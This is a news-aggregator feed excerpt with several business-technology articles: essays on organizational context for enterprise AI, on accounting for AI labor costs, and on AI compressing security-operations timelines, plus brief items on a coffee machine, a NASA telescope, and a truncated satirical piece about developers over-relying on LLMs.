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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Jura's new espresso machine packs cold brewing, delicious syrup-infused milk foam, and timed morning brewing into a surprisingly slim package — and it might be the ultimate upgrade for your small kitchen]]></title>
<description><![CDATA[Jura has just launched a new coffee maker that offers hot and cold extraction, syrup-infusion, milder brewing, and a timer — all in one compact package.]]></description>
<link>https://tsecurity.de/de/3686008/it-nachrichten/juras-new-espresso-machine-packs-cold-brewing-delicious-syrup-infused-milk-foam-and-timed-morning-brewing-into-a-surprisingly-slim-package-and-it-might-be-the-ultimate-upgrade-for-your-small-kitchen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686008/it-nachrichten/juras-new-espresso-machine-packs-cold-brewing-delicious-syrup-infused-milk-foam-and-timed-morning-brewing-into-a-surprisingly-slim-package-and-it-might-be-the-ultimate-upgrade-for-your-small-kitchen/</guid>
<pubDate>Wed, 22 Jul 2026 12:48:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jura has just launched a new coffee maker that offers hot and cold extraction, syrup-infusion, milder brewing, and a timer — all in one compact package.]]></content:encoded>
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<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Shape-shifting mirrors on NASA’s new space telescope could unveil Jupiters like our own]]></title>
<description><![CDATA[When NASA’s Nancy Grace Roman Space Telescope launches, as early as the end of next month, it will attempt one of astronomy’s most precise disappearing acts to date. The telescope will carry the first space-bound “active” coronagraph, an instrument that effectively erases most of the light from a...]]></description>
<link>https://tsecurity.de/de/3685791/ai-nachrichten/shape-shifting-mirrors-on-nasas-new-space-telescope-could-unveil-jupiters-like-our-own/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685791/ai-nachrichten/shape-shifting-mirrors-on-nasas-new-space-telescope-could-unveil-jupiters-like-our-own/</guid>
<pubDate>Wed, 22 Jul 2026 11:22:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[When NASA’s Nancy Grace Roman Space Telescope launches, as early as the end of next month, it will attempt one of astronomy’s most precise disappearing acts to date. The telescope will carry the first space-bound “active” coronagraph, an instrument that effectively erases most of the light from a star during photography. It will allow astronomers…]]></content:encoded>
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<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



